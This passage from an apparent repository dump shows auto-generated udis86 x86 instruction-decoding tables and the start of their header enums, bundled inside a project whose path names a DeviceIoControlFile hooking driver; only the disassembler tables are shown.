UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2A */ { UD_Icvtsi2ss, O_V, O_Ex, O_NONE, P_c2|P_aso|P_rexr|P_rexx|P_rexb },\n /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2C */ { UD_Icvttss2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 2D */ { UD_Icvtss2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 50 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 51 */ { UD_Isqrtss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 52 */ { UD_Irsqrtss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 53 */ { UD_Ircpss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 54 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 55 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 56 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 57 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 58 */ { UD_Iaddss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 59 */ { UD_Imulss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5A */ { UD_Icvtss2sd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5B */ { UD_Icvttps2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5C */ { UD_Isubss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5D */ { UD_Iminss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5E */ { UD_Idivss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 5F */ { UD_Imaxss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 60 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 61 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 62 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 63 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 68 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 69 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 6F */ { UD_Imovdqu, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 70 */ { UD_Ipshufhw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* 71 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 72 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 73 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 74 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 75 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 76 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 7E */ { UD_Imovq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 7F */ { UD_Imovdqu, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* C2 */ { UD_Icmpss, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb },\n /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSEF3__0F__OP_C7__REG },\n /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D6 */ { UD_Imovq2dq, O_V, O_PR, O_NONE, P_aso },\n /* D7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* D9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* DF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E6 */ { UD_Icvtdq2pd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* E7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* E9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* ED */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* EF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* F9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__pfx_ssef3__0f__op_c7__reg[8] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Igrp_vendor, O_NONE, O_NONE, O_NONE, ITAB__PFX_SSEF3__0F__OP_C7__REG__OP_07__VENDOR },\n};\n\nstatic struct ud_itab_entry itab__pfx_ssef3__0f__op_c7__reg__op_07__vendor[2] = {\n /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 01 */ { UD_Ivmxon, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n};\n\n/* the order of this table matches enum ud_itab_index */\nstruct ud_itab_entry * ud_itab_list[] = {\n itab__0f,\n itab__0f__op_00__reg,\n itab__0f__op_01__reg,\n itab__0f__op_01__reg__op_00__mod,\n itab__0f__op_01__reg__op_00__mod__op_01__rm,\n itab__0f__op_01__reg__op_00__mod__op_01__rm__op_01__vendor,\n itab__0f__op_01__reg__op_00__mod__op_01__rm__op_03__vendor,\n itab__0f__op_01__reg__op_00__mod__op_01__rm__op_04__vendor,\n itab__0f__op_01__reg__op_01__mod,\n itab__0f__op_01__reg__op_01__mod__op_01__rm,\n itab__0f__op_01__reg__op_02__mod,\n itab__0f__op_01__reg__op_03__mod,\n itab__0f__op_01__reg__op_03__mod__op_01__rm,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_00__vendor,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_01__vendor,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_02__vendor,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_03__vendor,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_04__vendor,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_05__vendor,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_06__vendor,\n itab__0f__op_01__reg__op_03__mod__op_01__rm__op_07__vendor,\n itab__0f__op_01__reg__op_04__mod,\n itab__0f__op_01__reg__op_06__mod,\n itab__0f__op_01__reg__op_07__mod,\n itab__0f__op_01__reg__op_07__mod__op_01__rm,\n itab__0f__op_01__reg__op_07__mod__op_01__rm__op_01__vendor,\n itab__0f__op_0d__reg,\n itab__0f__op_18__reg,\n itab__0f__op_71__reg,\n itab__0f__op_72__reg,\n itab__0f__op_73__reg,\n itab__0f__op_ae__reg,\n itab__0f__op_ae__reg__op_05__mod,\n itab__0f__op_ae__reg__op_05__mod__op_01__rm,\n itab__0f__op_ae__reg__op_06__mod,\n itab__0f__op_ae__reg__op_06__mod__op_01__rm,\n itab__0f__op_ae__reg__op_07__mod,\n itab__0f__op_ae__reg__op_07__mod__op_01__rm,\n itab__0f__op_ba__reg,\n itab__0f__op_c7__reg,\n itab__0f__op_c7__reg__op_00__vendor,\n itab__0f__op_c7__reg__op_07__vendor,\n itab__0f__op_d9__mod,\n itab__0f__op_d9__mod__op_01__x87,\n itab__1byte,\n itab__1byte__op_60__osize,\n itab__1byte__op_61__osize,\n itab__1byte__op_63__mode,\n itab__1byte__op_6d__osize,\n itab__1byte__op_6f__osize,\n itab__1byte__op_80__reg,\n itab__1byte__op_81__reg,\n itab__1byte__op_82__reg,\n itab__1byte__op_83__reg,\n itab__1byte__op_8f__reg,\n itab__1byte__op_98__osize,\n itab__1byte__op_99__osize,\n itab__1byte__op_9c__mode,\n itab__1byte__op_9c__mode__op_00__osize,\n itab__1byte__op_9c__mode__op_01__osize,\n itab__1byte__op_9d__mode,\n itab__1byte__op_9d__mode__op_00__osize,\n itab__1byte__op_9d__mode__op_01__osize,\n itab__1byte__op_a5__osize,\n itab__1byte__op_a7__osize,\n itab__1byte__op_ab__osize,\n itab__1byte__op_ad__osize,\n itab__1byte__op_ae__mod,\n itab__1byte__op_ae__mod__op_00__reg,\n itab__1byte__op_af__osize,\n itab__1byte__op_c0__reg,\n itab__1byte__op_c1__reg,\n itab__1byte__op_c6__reg,\n itab__1byte__op_c7__reg,\n itab__1byte__op_cf__osize,\n itab__1byte__op_d0__reg,\n itab__1byte__op_d1__reg,\n itab__1byte__op_d2__reg,\n itab__1byte__op_d3__reg,\n itab__1byte__op_d8__mod,\n itab__1byte__op_d8__mod__op_00__reg,\n itab__1byte__op_d8__mod__op_01__x87,\n itab__1byte__op_d9__mod,\n itab__1byte__op_d9__mod__op_00__reg,\n itab__1byte__op_d9__mod__op_01__x87,\n itab__1byte__op_da__mod,\n itab__1byte__op_da__mod__op_00__reg,\n itab__1byte__op_da__mod__op_01__x87,\n itab__1byte__op_db__mod,\n itab__1byte__op_db__mod__op_00__reg,\n itab__1byte__op_db__mod__op_01__x87,\n itab__1byte__op_dc__mod,\n itab__1byte__op_dc__mod__op_00__reg,\n itab__1byte__op_dc__mod__op_01__x87,\n itab__1byte__op_dd__mod,\n itab__1byte__op_dd__mod__op_00__reg,\n itab__1byte__op_dd__mod__op_01__x87,\n itab__1byte__op_de__mod,\n itab__1byte__op_de__mod__op_00__reg,\n itab__1byte__op_de__mod__op_01__x87,\n itab__1byte__op_df__mod,\n itab__1byte__op_df__mod__op_00__reg,\n itab__1byte__op_df__mod__op_01__x87,\n itab__1byte__op_e3__asize,\n itab__1byte__op_f6__reg,\n itab__1byte__op_f7__reg,\n itab__1byte__op_fe__reg,\n itab__1byte__op_ff__reg,\n itab__3dnow,\n itab__pfx_sse66__0f,\n itab__pfx_sse66__0f__op_71__reg,\n itab__pfx_sse66__0f__op_72__reg,\n itab__pfx_sse66__0f__op_73__reg,\n itab__pfx_sse66__0f__op_c7__reg,\n itab__pfx_sse66__0f__op_c7__reg__op_00__vendor,\n itab__pfx_ssef2__0f,\n itab__pfx_ssef3__0f,\n itab__pfx_ssef3__0f__op_c7__reg,\n itab__pfx_ssef3__0f__op_c7__reg__op_07__vendor,\n};\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/udis86/src/itab.h", "content": "\n/* itab.h -- auto generated by opgen.py, do not edit. */\n\n#ifndef UD_ITAB_H\n#define UD_ITAB_H\n\n\n\nenum ud_itab_vendor_index {\n ITAB__VENDOR_INDX__AMD,\n ITAB__VENDOR_INDX__INTEL,\n};\n\n\nenum ud_itab_mode_index {\n ITAB__MODE_INDX__16,\n ITAB__MODE_INDX__32,\n ITAB__MODE_INDX__64\n};\n\n\nenum ud_itab_mod_index {\n ITAB__MOD_INDX__NOT_11,\n ITAB__MOD_INDX__11\n};\n\n\nenum ud_itab_index {\n ITAB__0F,\n ITAB__0F__OP_00__REG,\n ITAB__0F__OP_01__REG,\n ITAB__0F__OP_01__REG__OP_00__MOD,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_01__VENDOR,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_03__VENDOR,\n ITAB__0F__OP_01__REG__OP_00__MOD__OP_01__RM__OP_04__VENDOR,\n ITAB__0F__OP_01__REG__OP_01__MOD,\n ITAB__0F__OP_01__REG__OP_01__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_02__MOD,\n ITAB__0F__OP_01__REG__OP_03__MOD,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_00__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_01__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_02__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_03__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_04__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_05__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_06__VENDOR,\n ITAB__0F__OP_01__REG__OP_03__MOD__OP_01__RM__OP_07__VENDOR,\n ITAB__0F__OP_01__REG__OP_04__MOD,\n ITAB__0F__OP_01__REG__OP_06__MOD,\n ITAB__0F__OP_01__REG__OP_07__MOD,\n ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM,\n ITAB__0F__OP_01__REG__OP_07__MOD__OP_01__RM__OP_01__VENDOR,\n ITAB__0F__OP_0D__REG,\n ITAB__0F__OP_18__REG,\n ITAB__0F__OP_71__REG,\n ITAB__0F__OP_72__REG,\n ITAB__0F__OP_73__REG,\n ITAB__0F__OP_AE__REG,\n ITAB__0F__OP_AE__REG__OP_05__MOD,\n ITAB__0F__OP_AE__REG__OP_05__MOD__OP_01__RM,\n ITAB__0F__OP_AE__REG__OP_06__MOD,\n ITAB__0F__OP_AE__REG__OP_06__MOD__OP_01__RM,\n ITAB__0F__OP_AE__REG__OP_07__MOD,\n ITAB__0F__OP_AE__REG__OP_07__MOD__OP_01__RM,\n ITAB__0F__OP_BA__REG,\n ITAB__0F__OP_C7__REG,\n ITAB__0F__OP_C7__REG__OP_00__VENDOR,\n ITAB__0F__OP_C7__REG__OP_07__VENDOR,\n ITAB__0F__OP_D9__MOD,\n ITAB__0F__OP_D9__MOD__OP_01__X87,\n ITAB__1BYTE,\n ITAB__1BYTE__OP_60__OSIZE,\n ITAB__1BYTE__OP_61__OSIZE,\n ITAB__1BYTE__OP_63__MODE,\n ITAB__1BYTE__OP_6D__OSIZE,\n ITAB__1BYTE__OP_6F__OSIZE,\n ITAB__1BYTE__OP_80__REG,\n ITAB__1BYTE__OP_81__REG,\n ITAB__1BYTE__OP_82__REG,\n ITAB__1BYTE__OP_83__REG,\n ITAB__1BYTE__OP_8F__REG,\n ITAB__1BYTE__OP_98__OSIZE,\n 